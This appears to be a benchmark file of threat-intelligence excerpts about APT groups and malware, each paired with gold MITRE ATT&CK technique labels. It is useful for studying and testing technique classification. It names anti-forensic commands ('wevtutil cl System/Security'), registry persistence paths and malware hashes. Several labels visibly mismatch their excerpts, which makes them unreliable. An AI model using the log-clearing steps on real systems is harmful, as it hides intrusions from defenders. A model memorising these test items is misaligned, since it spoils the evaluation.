"In addition, FANCY BEAR’s X-Tunnel network tunneling tool, which facilitates connections to NAT-ed environments, was used to also execute remote commands. They also engaged in a number of anti-forensic analysis measures, such as periodic event log clearing (via wevtutil cl System and wevtutil cl Security commands) and resetting timestamps of files","['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs', 'T1070.001 - Indicator Removal on Host: Clear Windows Event Logs']",golden
"XAgent also has a keylogger functionality that allows the threat actors to steal credentials as the user types them. XAgent logs key strokes by calling the CGEventTapCreate function to set an event hook to call a callback function named _myCGEventTapCallBack when it detects pressed keys. This callback function will call a function named pressedKeyWithKeyCode, which is responsible for logging the keystrokes. The keylogger will monitor for active application windows and write them to the log in the following format",['T1056.001 - Input Capture: Keylogging'],golden
"In their example, the OilRig group used a malicious macro document to deliver the backdoor, which is a tactic much more commonly used by them. A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation. Based on our telemetry, we have high confidence the email account used to launch this attack was compromised by the OilRig group, likely via credential theft. The malicious attachment was a simple PE file (SHA256: 5f001f3387ddfc0314446d0c950da2cec4c786e2374d42beb3acce6883bb4e63) with the filename &lt;redacted&gt; Technical Services.exe. The file appears to have been compiled using a bat2exe tool, which will take batch files (.bat) and convert them to PE (.exe) files. Once the victim downloads and executes the email attachment, it runs silently with no additional decoy documents or decoy dialog boxes. The executable will drop the packaged QUADAGENT PowerShell script using the filename Office365DCOMCheck.ps1 in addition to a VBScript file with the same filename which will assist in the execution of it. Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails. The wave against the government entity (June 26) also involved a simple PE file attachment (SHA256: d948d5b3702e140ef5b9247d26797b6dcdfe4fdb6f367bb217bc6b5fc79df520) using the filename tafahom.exe. This PE was slightly different from the other attack, being compiled using the Microsoft .NET Framework instead of being generated via a bat2exe tool and containing a decoy dialog box as shown in Figure 1",['T1566.001 - Phishing: Spearphishing Attachment'],golden
"The decoy file, doc.rtf (MD5: AC0EAC22CE12EAC9EE15CA03646ED70C), contains an OLE object that uses Equation Editor to drop the embedded shellcode in %TEMP% with the name 8.t. Figure 2 shows the decryption mechanism used in EQENDT32.EXE",['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],golden
"The first approach involves spear-phishing targets using a document with remote content. As soon as the user opens the document, a “ping” request is sent to the attackers’ server. At this point, the attackers know the user has opened the document and send another spear-phishing email, this time containing an MS Word document with an embedded executable. The Word document usually exploits CVE-2012-0158. Sometimes the attackers send an MS PowerPoint document instead, which exploits CVE-2014-6352",['T1203 - Exploitation for Client Execution'],golden
The first sample being captured was in April 2018 and since that we observed a lot more related ones. Attackers like to use spear-fishing email with password protected RAR attachment to avoid being detected by the email gateway. Decryption password is provided in the mail body and inside the attachment it is a MHTML macro based document with the .doc suffix,['T1566.001 - Phishing: Spearphishing Attachment'],golden
The downloaded file tries to look trustworthy by using a well-known Adobe Reader icon and the filename “security” or “infos,['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
This cipher seems to be an RC4 alike algorithm with an already computed PRGA generated key-stream. It is important to note that this same cipher is used later on in the network communication protocol between trojan clients and their CNCs,['T1573.001 - Symmetric Cryptography'],golden
"During our analysis, the C2 server provided a secondary payload that functionally appeared similar to the initial Zebrocy sample. The secondary payload was also written in Delphi and its developer configured it to communicate with its C2 server using HTTPS via the following URL",['T1140 - Deobfuscate/Decode Files or Information'],golden
"Once the target’s machine is compromised, the attacker first enumerates all processes running in the system and all services. Then the attacker looks for all administrator accounts on both the local machine and the network. This technique allows them to map network resources and make lateral movements inside the network, landing in the perfect machine to match the attacker’s interest. This reflects the Poseidon Group’s familiarity with Windows network administration","['T1087.001 - Account Discovery: Local Account', 'T1087.002 - Account Discovery: Domain Account']",golden
"Here, we show an example of a PDF campaign as seen from the point of view of the affected user. This malicious PDF only contains a URL to entice the user to view the file. If the user chooses to click on the URL link and to read the actual content of the file, the browser will open a legitimate Google location which will redirect the browser to a malicious document. Browser redirection Finally, the malicious Word document is opened and the VBA macro code is run after the user allows for the editing of the content within Word. This eventually kickstarts the rest of the infection chain, terminates the Word process to hide the original file and opens a new Word instance to display a non-malicious decoy document dropped to the disk drive by one of the previous stages. Malicious Word document The decoy document remains constant throughout the campaign and is likely a side effect of the Threadkit exploit toolkit and cannot be relied upon for attribution",['T1204.001 - Malicious Link'],golden
"Microsoft.IdentityServer.ServiceHost.exe in and of itself is an unmanaged Windows executable that is generated when the high-level AD FS managed code is compiled. When executed, the unmanaged code inside Microsoft.IdentityServer.ServiceHost.exe leverages Common Language Runtime (CLR) to run the managed AD FS code within a virtual runtime environment. This virtual runtime environment is comprised of one or more application domains, which provide a unit of isolation for the runtime environment and allow different applications to run inside separate containers within a process. The managed AD FS code is executed within an application domain inside the virtual runtime environment",['T1057 - Process Discovery'],golden
"When requested, with the correct Internet Explorer User-Agent, this host would serve additional obfuscated JavaScript code. As with the initial redirect, the attacker chose to bury their malicious code amongst legitimate code. In this particular case, the attacker used the ""bPopUp"" JavaScript library alongside their own code. This decision has two effects",['T1189 - Drive-by Compromise'],golden
"While responding to multiple FIN7 intrusions, FireEye recovered a custom video recording capability used by FIN7 as a part of their operations. The attackers most likely leveraged this video recording capability in their arsenal to monitor operations in victim environments to inform later stages of their intrusions",['T1125 - Video Capture'],golden
The initial lure is an email spoofing an email chain. These email chains are retrieved from email clients on previously infected hosts. The message has an attached ZIP archive and a message informing the user of a password necessary to open the attachment,['T1589.002 - Email Addresses'],golden
"1) Ferocious dropper: The Excel dropper, after the user opens it and disables the protected mode, will execute a series of formulas placed in a hidden column. 19: Check if a mouse is present. 42: Check if the host computer is capable of playing sounds. 2) 1: Get the name of the environment in which Microsoft Excel is running, as text, followed by the environment’s version number. 3) 19: Check if a mouse is present. 4) 42: Check if the host computer is capable of playing sounds. If any of the above checks fail, or if the Windows environment matches any of the aforementioned versions predefined in the document (different documents have different predefined versions), the process will halt. 5) Ferocious run-1: After the macro finishes writing to disk, it runs winrm.vbs using explorer.exe. Registry keys used for COM hijacking After the above execution chain, the Excel 4.0 macro will clean up and delete the winrm.vbs and winrm.txt files. 6) Ferocious run-2: The macro will continue after the cleanup by recreating and opening the same files, winrm.vbs and winrm.txt",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],golden
"Most WhiteBear samples are signed with a valid code signing certificate issued for “Solid Loop Ltd”, a once-registered British organization. Solid Loop is likely a phony front organization or a defunct organization and actors assumed its identity to abuse the name and trust, in order to attain deceptive code-signing digital certificates",['T1553.002 - Code Signing'],golden
The execution starts with pushing a scheduled task from the AD to all the machines via group policy. The task name is Microsoft\Windows\Power Efficiency Diagnostics\AnalyzeAll and it mimics the AnalyzeSystem task performed by Windows Power Efficiency Diagnostics report tool,['T1484.001 - Domain Policy Modification: Group Policy Modification'],golden
"RTF documents sent in the observed campaigns contain exploits for several vulnerabilities in Microsoft Office, and they seem to be created using a version of an exploit toolkit, often referred to as Threadkit. Documents generated by the toolkit typically launch a couple of batch files, task.bat and task (2).bat that drive the rest of the infection process. Threadkit is not exclusively used by the actors behind the observed attacks but also by other groups utilizing various payloads, including Trickbot, Lokibot, SmokeLoader and some other banking malware. The embedded object triggers a download of an HTML page containing the VBScript that exploits the vulnerability and launches the shellcode. The HTML component of the exploit is based on the original exploit code discovered in May this year. CVE-2018-8174 VB script exploit code",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
"Scheduled tasks require a time in which the task will run, which the dropper determines by calling the function NetRemoteTOD to obtain the time of day from the remote system. The dropper then adds 90 seconds to the time of day value on the remote system and uses this value as the ""JobTime"" to run the task in three minutes, which executes the payload on the remote system. The following pseudo-code shows the scheduled task creation process",['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
"IRON TWILIGHT operates two custom exploit kits. The Sednit exploit kit was used in spearphishing campaigns and strategic web compromises. In 2016, the threat group began using DealersChoice, a hybrid client/server exploit kit. DealersChoice was initially deployed as malware via an attachment to a spearphishing email. The malware profiles the target system and sends the results to a server-side component, which returns the appropriate exploit to compromise the target",['T1189 - Drive-by Compromise'],golden
"The “Rocke group”, a Chinese threat actor group who specializes in cryptojacking, has shifted gears on how they’re stealing your cycles. Rocke is actively updating and pushing a new dropper using Pastebin for Command and Control (C2). Recent updates to the C2 as of March 13th, 2019 have been seen, which leads researchers to believe this campaign is ongoing. According to VirusTotal, the threat detection of the new dropper is nearly non-existent. The group has been observed in previous campaigns to use “ld.so.preload” function to hook libc functions. The hooking is used to hide the dropper and the mining software installed by the malware and prevents it from showing up in the “currently running” process list. The miner uses a private mining pool hosted on DigitalOcean which is a change in the threat actor’s previous tactics","['T1574.006 - Hijack Execution Flow: LD_PRELOAD', 'T1014 - Rootkit']",golden
The script above checks the system architecture to determine if it is an x64 machine and attempts to execute a base64 encoded command that decodes to the following,['T1082 - System Information Discovery'],golden
"The malware also contains a custom obfuscation algorithm to hide registry keys, APIs, DLL names, and other strings from static analysis. Figure 10 provides the decompiled version of the custom decoding algorithm used on these strings",['T1027 - Obfuscated Files or Information'],golden
Encode the collected information using a simple byte based XOR operation using the byte key: 0x34. Base64 encode (standard) the XORed data,['T1560.003 - Archive via Custom Method'],golden
Conficker will then generate a list of 250 domain names (rendezvous points) using a randomizing function that it seeds with the current UTC system date. All Conficker infected clients will attempt to contact the same set of domains for updates. This same list of domain names is generated every 3 hours. This update probing is done on a daily basis and provides Conficker's authors with an effective updating mechanism that is highly mobile as its location is recomputed each day by all infected clients,['T1124 - System Time Discovery'],golden
"The Gh0stRAT dropper arrives on a PC through the use of EternalBlue/DoublePulsar. Once on a victim’s PC, the dropper executable is launched and it decrypts and loads the Gh0stRAT DLL into memory. It then passes the config buffer to the extracted DLL and calls the exported function (Shellex",['T1140 - Deobfuscate/Decode Files or Information'],golden
Analysis Subject: Darkhotel uses a series of checks on its program file to determine if it is being analyzed,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],golden
"To infect individuals with access to the data the actors desire, Scarlet Mimic deploys both spear-phishing and watering hole (strategic web compromise) attacks",['T1036.002 - Right-to-Left Override'],golden
"To make the malware more persistent, it has an auto-start service that allows Trickbot to run whenever the machine boots. This service can have the following display names",['T1543.003 - Create or Modify System Process: Windows Service'],golden
"Similar to the previous NOBELIUM custom Cobalt Strike loaders, such as TEARDROP and Raindrop, these NativeZone loaders are responsible for decoding/decrypting an embedded Cobalt Strike Beacon stage shellcode and executing it in memory. Some of the NativeZone loaders feature anti-analysis guardrails to thwart analysis of the samples",['T1140 - Deobfuscate/Decode Files or Information'],golden
Since the decoy document is a benign file and does not contain any macros the victim does not suspect any malicious behavior,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],golden
"According to Netlab researcher Hui Wang, at least one cryptomining botnet operator is also familiar with this service and has been using it to host a command and control (C&amp;C) server behind ngrok's proxy network",['T1102 - Web Service'],golden
"The macro also attempts to deactivate security mechanisms within Microsoft Office products by modifying the registry. First, the macro attempts to enable macros in multiple versions of Word, PowerPoint, Publisher and Excel by setting the following registry keys to the value of 1",['T1112 - Modify Registry'],golden
"Stepping into the loaded PE,Bazar loader tries to avoid targeting Russian users by checking if the Russian language is installed on the infected machine. It calls setlocale, deobfuscating the “Russia” string by adding 0xf4 to each character, and finally resolving and calling StrStrA to check if “Russia” is a substring of the current locale. If so, the loader terminates. The Bazar Backdoor repeats this step as well",['T1082 - System Information Discovery'],golden
"GALLIUM has signed several tools using stolen code signing certificates. For example, they’ve used a credential dumping tool signed using a stolen certificate from Whizzimo, LLC, as shown in Figure 1. The code signing certificate shown in Figure 1 was no longer valid at the time of writing; however, it shows GALLIUM had access to such certificates",['T1553.002 - Code Signing'],golden
"RAR) included deleted items in Accessed Files STEALTHYATTACKER FUN FACT: Now it’s built-in. All rights reserved.23 Our Response: Tackled Attacker WMI Usage ADVANCED ATTACK TECHNIQUES 24) 24. Wrote indicators based on observed attacker activity • Identified lateral movement, unique backdoors, credential theft, data theft, recon, persistence creation, etc. All rights reserved.28 BONUS SLIDE: Even More WMI + PS 29) 29. All rights reserved.29 BONUS SLIDE: Even More WMI + PS FUN FACT: We saw the attacker test this backdoor before deployment 30) 30. All rights reserved.32 BONUS SLIDE: TOR backdoor (just because it’s cool) 33) 34) 34",['T1047 - Windows Management Instrumentation'],golden
"All strings within the dropper, as well as the backdoor, are encrypted using a hardcoded RSA256 key. There are two forms of encrypted strings: an RSA256-encrypted string, and custom base64-encoded and RSA256-encrypted string",['T1027 - Obfuscated Files or Information'],golden
"The macro runs a PowerShell command that will decode the contents of the %APPDATA%\Base.txt file and save it to the file %PUBLIC%\Libraries\servicereset.exe, which it will then execute. The “servicereset.exe” file is a new tool in OilRig’s arsenal that we call ISMInjector, which we will discuss in detail in the next section","['T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1140 - Deobfuscate/Decode Files or Information']",golden
"Pwn one to pwn them all In some of the instances we observed what appeared to be compromised accounts at third party organizations sending the malware. In one case, the attackers sent a malicious document which was nearly identical to a legitimate attachment which we observed later being sent to the same recipient",['T1566.001 - Phishing: Spearphishing Attachment'],golden
The VB.NET variant (SHA256: e5aece694d..) is very similar to other known Zebrocy variants. It then uses the storage volume obtained from the GetDriveName function and calls GetDrive to get the SerialNumber of the storage device. The VB.NET variant then gathers system information and running processes like other Zebrocy variants by running the following commands,['T1082 - System Information Discovery'],golden
"In the low-integrity case (under UAC) the installer simply injects the stage 5 malware into the bogus explorer.exe process started earlier and terminates - In the high-integrity case (with administrative privileges or after UAC bypass), the code searches for the process hosting the Plug and Play service (usually svchost.exe) loaded in memory and injects itself into it",['T1055.001 - Process Injection: Dynamic-link Library Injection'],golden
"The command line is then parsed to extract individual arguments, and SUNSPOT looks for the directory path of the Orion software Visual Studio solution. This value is hard-coded in the binary, in an encrypted form using AES128-CBC, whose parameters are given below. The same material is used for all of the blobs encrypted with AES in the binary",['T1027 - Obfuscated Files or Information'],golden
"A Waterbear infection starts from a malicious DLL loader, as shown in Figure 1. We have seen two techniques of DLL loader triggering. One is modifying a legitimate server application to import and load the malicious DLL loader, while the second technique is performing phantom DLL hijacking and DLL side loading. Some Windows services try to load external DLLs with hardcoded DLL names or paths during boot-up. However, if the DLL is a legacy DLL (i.e. one that is no longer supported by Windows) or a third-party DLL (i.e. one that is not part of the original Windows system DLLs), attackers can give their malicious DLL a hardcoded DLL name and place it under one of the searched directories during the DLL loading process. After the malicious DLL is loaded, it will gain the same permission level as the service that loads it","['T1574.002 - Hijack Execution Flow: DLL Side-Loading', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading']",golden
"In addition to data theft, actors deploy MAZE ransomware to encrypt files identified on the victim network. Notably, the aforementioned MAZE panel has an option to specify the date on which ransom demands will double, likely to create a sense of urgency to their demands",['T1486 - Data Encrypted for Impact'],golden
"As mentioned in our earlier technical report on Trojan.Hydraq, the back door allows the attacker to perform any of the following activities: - Adjust token privileges. Create, modify, and delete registry subkeys. Read, write, execute, copy, change attributes of, and delete files. Uninstall itself by deleting the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RaS[FOUR RANDOM CHARACTERS] subkey",['T1112 - Modify Registry'],golden
"ACTIVEDS.dll is not signed and it is where the malicious code resides. There is a Windows DLL with that same name in the system folder, but since the malicious DLL is in the same directory as the TeamViewer executable, it is found first, and therefore is loaded instead of the Windows DLL. This is known as DLL search order hijacking. This ACTIVEDS.dll hooks several API calls in the TeamViewer executable to hide the application’s tray icon and to capture login credentials",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],golden
"It creates the folder ""\ProgramData\AuditService\"" and copies the clean file ""lsass.exe"" (taken from ""\Windows\System32\"") into the folder. It also drops a malicious file, ""sspisrv.dll"", into the folder. The tainted ""services.exe"" installs ""\ProgramData\AuditService\lsass.exe"" as an autostart Windows service named ""Audit Service"". When the new ""lsass.exe"" service autostarts, the malicious file ""sspisrv.dll"" sideloads in the same folder. lsass.exe"" will eventually crash because of a failure to load other dependencies. By the time of the crash, ""sspisrv.dll"" will already have injected malicious code into the system process ""svchost.exe"". The injected code is located at the entry point of the DLL and therefore gets executed as soon as the DLL loads. The injected code, which has typical backdoor capabilities, now resides in the tainted ""svchost.exe",['T1547.008 - Boot or Logon Autostart Execution: LSASS Driver'],golden
"This service serves the single purpose of checking every 60 seconds if the 'svcohos.exe' process is running. If not, the service will spawn a new instance of it. In doing so, this secondary malware sample acts as both a runtime persistence mechanism, as well as a persistence mechanism across reboots",['T1543.003 - Create or Modify System Process: Windows Service'],golden
"Later, the malware enters in a big block of trash code that also includes some elements to decrypt strings and important information for later. The malware uses some tricks to detect debuggers at this point",['T1027.001 - Obfuscated Files or Information: Binary Padding'],golden
The Windows operating system provides the functionality to allow custom DLLs to be loaded into the address space of almost all application processes via AppInit DLL registry key. This technique is not particularly complex; it is implemented in early Ramsay versions and is common in other malware families,['T1546.010 - Event Triggered Execution: AppInit DLLs'],golden
"Both files are deleted from disk once the configuration files are read and loaded into memory. After loading the keyword and phone data files, MESSAGETAP begins monitoring all network connections to and from the server. It uses the libpcap library to listen to all traffic and parses network protocols starting with Ethernet and IP layers. Finally, the malware parses and extracts SMS message data from the network traffic",['T1049 - System Network Connections Discovery'],golden
"C&amp;C server domains and IP addresses are extracted with similar XOR routines; where Quarian uses a decryption key of 0x44, Turian uses 0xA9",['T1140 - Deobfuscate/Decode Files or Information'],golden
"that displays a ransom note when the host boots (Figure 1) and, at the same time, performs destructive operations on the infected host’s hard drives",['T1542.003 - Bootkit'],golden
"Once the KeyBoy DLL has been executed, it validates that a particular string value (likely identifying the KeyBoy version) is set in the Windows Registry",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],golden
"The installer stores the RAT component in the registry and establishes persistence for the loader component. In the analyzed sample, the installer was named “SdbInstallerDll[.]dll”. Most of its important strings and data were XOR-encoded with a hardcoded 128-byte key",['T1027 - Obfuscated Files or Information'],golden
"While the decoy in Figure 2 is displayed, the macro will search the document for the delimiter ###$$$ and write the base64 encoded text that follows this delimiter to the file %APPDATA%\Base.txt. The macro then creates a scheduled task named SecurityAssist that runs after waiting one minute. The Trojan extracts and loads this embedded assembly by concatenating the contents of two resources named S1 and S2 and decompresses the resulting data using the GZipSteam class. The resulting Interop.SHDocVw .NET assembly is packed with SmartAssembly and further obfuscated using Confuser v1.9.0.0. hex(Environment.UserName/Environment.MachineName)&gt; The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. The C2 server will respond to the Trojan’s request by echoing the value &lt;hex(Environment.UserName/Environment.MachineName)&gt; if it wishes to provide additional commands. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://&lt;c2 domain&gt;/what. hex(Environment.UserName/Environment.MachineName)&gt; After issuing the what command, the Trojan will parse the C2's response for the string Oops, which the Trojan will treat as the C2 making a mistake and will exit. Otherwise, the Server will respond with a command followed by a set of parameters, split up by the delimiter &lt;&gt;: [command]&lt;&gt;[parameters for command in hexadecimal format] The available commands are",['T1140 - Deobfuscate/Decode Files or Information'],golden
"Microsoft has detected multiple 0-day exploits being used to attack on-premises versions of Microsoft Exchange Server in limited and targeted attacks. Microsoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to HAFNIUM, a group assessed to be state-sponsored and operating out of China, based on observed victimology, tactics and procedures",['T1190 - Exploit Public-Facing Application'],golden
"The scripts are responsible for deobfuscating and executing the main JavaScript file mspromo.dot. The file uses a character insertion obfuscation technique, making it appear to contain Chinese characters",['T1027 - Obfuscated Files or Information'],golden
"Throughout its code, Kazuar verbosely logs its activities by writing debug messages to log files stored within the “log” folder. Kazuar encrypts the debug messages saved in these log files using the Rijndael cipher. We decrypted the initial entry that was added to the log files during the execution of the Trojan",['T1027 - Obfuscated Files or Information'],golden
"Once the XSL script has identified that Avast is installed on the machine, it loads a malicious module Irdsnhrxxxfery64 from its location on disk. In order to load this module, it uses an ActiveX Object ShA created with Shell.Application capabilities. The object uses ShellExecute() to create an aswrundll.exe process instance and loads Irdsnhrxxxfery64. It loads the module with parameter vShow set to zero, which opens the application with a hidden window",['T1564.003 - Hide Artifacts: Hidden Window'],golden
"In multiple instances, the threat actors accessed workstations and servers on a corporate network that contained data output from control systems within energy generation facilities. The threat actors accessed files pertaining to ICS or supervisory control and data acquisition (SCADA) systems. Based on DHS analysis of existing compromises, these files were named containing ICS vendor names and ICS reference documents pertaining to the organization (e.g",['T1135 - Network Share Discovery'],golden
MSOSTYLE.EXE is a legitimate file from the Microsoft Office 2007 package. It is responsible for sideloading the dynamic link library OINFO12.OCX,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],golden
"Indeed, VboxVmService comes with a configuration file (see Script 5) in which it is possible to enable the AutoStart option so the virtual machine is automatically launched at startup",['T1543.003 - Create or Modify System Process: Windows Service'],golden
"In order to obtain credentials, the threat actor used another technique that can be seen in the below screenshots. They dumped specific hives from the Windows Registry, such as the SAM hive, which contains password hashes",['T1003.002 - OS Credential Dumping: Security Account Manager'],golden
"Setting these registry keys both enables the AppInit_DLL functionality, and ensures that every user mode process that is spawned will load the ResN32.dll library",['T1546.010 - Event Triggered Execution: AppInit DLLs'],golden
"The initial JS code that executes exe has a hardcoded absolute path, so executing it from another location or with another user will fail. The final More_eggs payload is encrypted with a key that has the hostname and processor family information appended at the end. An example key is",['T1027 - Obfuscated Files or Information'],golden
"The file encryption algorithm imports a hard-coded RSA 1024-bit public key from the encrypted strings table using CryptImportPublicKeyInfo, and for each file, generates a 128-bit RC4 key using CryptGenKey. The RC4 key is then used to encrypt the file in place. Once it is encrypted, the file is moved to a new file with the same name, and the file extension is appended with the keyword .locked",['T1486 - Data Encrypted for Impact'],golden
"It is important to take into consideration that the malware forges the POST string to make the connection with a random choice from a list of possible strings such as “forum”, “php”, “view”, etc. to make detection harder with IPS or other filters on the network",['T1568 - Dynamic Resolution'],golden
"Once the preliminary system information has been gathered by the instrumentor, it will usually download and deploy three key implants on the endpoint. All these implants are DLL files meant to serve very specific purposes.A marker file ""qwer.txt"" is created by the instrumentor script prior to downloading and deploying any of the implants. This file acts as an infection marker for the implants that check for the presence of this file before performing any malicious activities. The instrumentor script downloads the DLL implants and then creates a temporary PowerShell script to deploy the DLL on the infected system.The DLL implants downloaded to a file on disk usually have their first byte modified. This is used as an evasion mechanism to prevent recognition of the executable file format. Once the DLL is downloaded, the PowerShell script resets its first byte to 0x4D. The DLL is then deployed on the endpoint using rundll32.exe.PowerShell script modifying and running the DLL implant using rundll32.exe",['T1027 - Obfuscated Files or Information'],golden
"If the decryption of the parameters (target file path and replacement source code) is successful and if the MD5 checks pass, SUNSPOT proceeds with the replacement of the source file content. The original source file is copied with a .bk extension (e.g. InventoryManager.bk), to back up the original content. The backdoored source is written to the same filename, but with a .tmp extension (e.g. InventoryManager.tmp), before being moved using MoveFileEx to the original filename (InventoryManager.cs). After these steps, the source file backdoored with SUNBURST will then be compiled as part of the standard process","['T1480 - Execution Guardrails', 'T1565.001 - Stored Data Manipulation']",golden
"Capture user input, such as keylogging (the most prevalent type of input capture), to obtain credentials for valid accounts and information collection (Input Capture [T1056]) - Obtain account login and password information, generally in the form of a hash or a clear text password, from the operating system and software (OS Credential Dumping [T1056]) - Gather private keys from compromised systems to authenticate to remote services or decrypt other collected files (Unsecured Credentials: Private Keys [T1552.004]) - Manipulate default, domain, local, and cloud accounts to maintain access to credentials and certain permission levels within an environment (Account Manipulation [T1098]) - Abuse hooking to load and execute malicious code within the context of another process to mask the execution, allow access to the process's memory, and, possibly, gain elevated privileges (Input Capture: Credential API Hooking [T1056.004]) - Use brute force techniques to attempt account access when passwords are unknown or when password hashes are unavailable (Brute Force [T1110",['T1110 - Brute Force'],golden
"Process name, service name, and driver path listings are obtained, and each value is hashed via the FNV-1a + XOR algorithm as described previously and checked against hardcoded blocklists. If a blocklisted process is found the Update routine exits and the sample will continue to try executing the routine until the blocklist passes. Blocklisted services are stopped by setting their HKLM\SYSTEM\CurrentControlSet\services\&lt;service_name&gt;\Start registry entries to value 4 for disabled. Some entries in the service list if found on the system may affect the DGA algorithms behavior in terms of the values generated. The list of stopped services is then bit-packed into the ReportWatcherPostpone key of the appSettings entry for the samples’ config file. If any service was transitioned to disabled the Update method exits and retries later",['T1112 - Modify Registry'],golden
"After setting up persistent access, the payload checks to see if a value exists within a registry key in the HKCU hive whose name is the same as the scheduled task (ex. This registry key is empty upon the first execution of the payload. If either attempt is successful, the C2 server will respond with the session ID and a pre-shared key in cleartext, which it will save to the previously mentioned registry key. The C2 server will provide the pre-shared key within the response data and will provide the session ID value via the Set-Cookie field within the response, specifically the string after the PHPSESSID parameter of the cookie. If both attempts fail and the payload is unable to obtain a session ID and pre-shared key via HTTP or HTTPS, it will try to use DNS tunneling. To obtain the session ID and pre-shared key, the payload will issue a query to resolve the following domain: mail. random number between 100000 and 999999&gt;.&lt;c2 name&gt; This request notifies the C2 server that the payload is about to send system specific data as part of the initial handshake. The script will first attempt to communicate with the C2 server using HTTPS (HTTP if unsuccessful), which involves GET requests using the session ID within the request's cookie in the PHPSESSID field, as seen in the example GET request",['T1112 - Modify Registry'],golden
"Moreover, the attackers used the “right-to-left override” technique that causes parts of the executables’ names to be reversed, making them appear to have a different extension such as .jpg or .mp4, rather than their real one",['T1036.002 - Right-to-Left Override'],golden
"Besides the backdoor access, Skidmap also creates another way for its operators to gain access to the machine",['T1556.003 - Modify Authentication Process: Pluggable Authentication Modules'],golden
"When launched, GoldFinder can identify all HTTP proxy servers and other redirectors such as network security devices that an HTTP request travels through inside and outside the network to reach the intended C2 server. When used on a compromised device, GoldFinder can be used to inform the actor of potential points of discovery or logging of their other actions, such as C2 communication with GoldMax","['T1016.001 - System Network Configuration Discovery: Internet Connection Discovery', 'T1016.001 - System Network Configuration Discovery: Internet Connection Discovery']",golden
"We also discovered an interesting piece of rare malware created by this threat actor – a Bluetooth device harvester. This malware is responsible for stealing Bluetooth device information. It is fetched by a downloader, and collects information directly from the infected host. This malware uses Windows Bluetooth APIs to find information on connected Bluetooth devices and saves the following information",['T1120 - Peripheral Device Discovery'],golden
"Most of the strings inside the module are encrypted with a homebrew XOR-based algorithm. In addition to that, API function names are reversed, presumably to avoid detection in memory",['T1027 - Obfuscated Files or Information'],golden
The SQLRat script is designed to make a direct SQL connection to a Microsoft database controlled by the attackers and execute the contents of various tables. The script retrieves an item from the bindata table and writes the file to disk. This file appears to primarily be a version of TinyMet—an open source Meterpreter stager—but the actors have the option to store and execute any binary loaded into the table,['T1105 - Ingress Tool Transfer'],golden
"It attempts to detect if it is being run in a Virtual Machine (VM) using a WMI query for disk drive name, BIOS, and motherboard",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],golden
"In addition to file name changes, the biggest (pardon the pun) change involves the Loader Trojan (Syncmgr.dll) appending junk data to the end of the Emissary DLL file to make incredibly large files. The reason for creating such large files is to trick antivirus applications into not scanning the file, as it could exceed the maximum size of files the antivirus can scan (even VirusTotal has a maximum file size of 128MB). For instance, the following pseudo code contains two loops that will end up appending 524,288,000 bytes to the end of file, resulting in a DLL that exceeds 500MB in size",['T1027.001 - Obfuscated Files or Information: Binary Padding'],golden
"When running under a limited UAC account, the installer extracts d3d9.dll and creates a persistence key under HKCU\Software\Microsoft\Windows\Run. This indicates that the authors are trying to hide some messages showed by the system during the setup process",['T1113 - Screen Capture'],golden
"We analyzed different variants of malicious modules used by the Gamaredon group to inject malicious macros or remote templates into documents already present on the compromised system. This is a very efficient way of moving laterally within an organization’s network as documents are routinely shared amongst colleagues. Also, as these macros are run when opening the documents, it is a good way to persist on a system as some of these documents are likely to be opened multiple times and at different times",['T1221 - Template Injection'],golden
"In brute-force mode, the tooling attempts many username: password attempts very rapidly for a much shorter time period. Organizations targeted by the tooling running in this mode typically see over 300 authentication attempts per hour per targeted account over the course of several hours or days",['T1110.001 - Brute Force: Password Guessing'],golden
"Azorult uses a process hollowing technique to build the new malware image. First, the sample decrypts the payload in the memory. Then the sample creates a new suspended process of itself. The sample then injects a decrypted payload to the new process. Lastly, the sample resumes new process execution and exhibits malicious behaviors",['T1055.012 - Process Injection: Process Hollowing'],golden
Capturing screenshots at a configurable interval and uploading them to the attacker. Downloading and executing additional files. Executing arbitrary commands on the system.,"['T1105 - Ingress Tool Transfer', 'T1113 - Screen Capture', 'T1041 - Exfiltration Over C2 Channel', 'T1005 - Data from Local System', 'T1119 - Automated Collection']",golden
"The exploit also contains an additional check that ATMFD.dll is of the exact version “5.0.2.227”. As the Houston Disk exploit supported additional versions, we aren’t fully sure why the version range was narrowed down in DanderSpritz. Compared to ElEi, there is no indicative patch check, which may be because the DanderSpritz files are dated to mid-2013, which is prior to the patch that was identified by Kaspersky and is dated to October 2013.","['T1203 - Exploitation for Client Execution', 'T1518 - Software Discovery']",golden
"APT33 registered multiple domains that masquerade as Saudi Arabian aviation companies and Western organizations that together have partnerships to provide training, maintenance and support for Saudi’s military and commercial fleet. Based on observed targeting patterns, APT33 likely used these domains in spear phishing emails to target victim organizations.","['T1598.003 - Spearphishing Link', 'T1566 - Phishing', 'T1583.001 - Domains', 'T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1598 - Phishing for Information']",golden
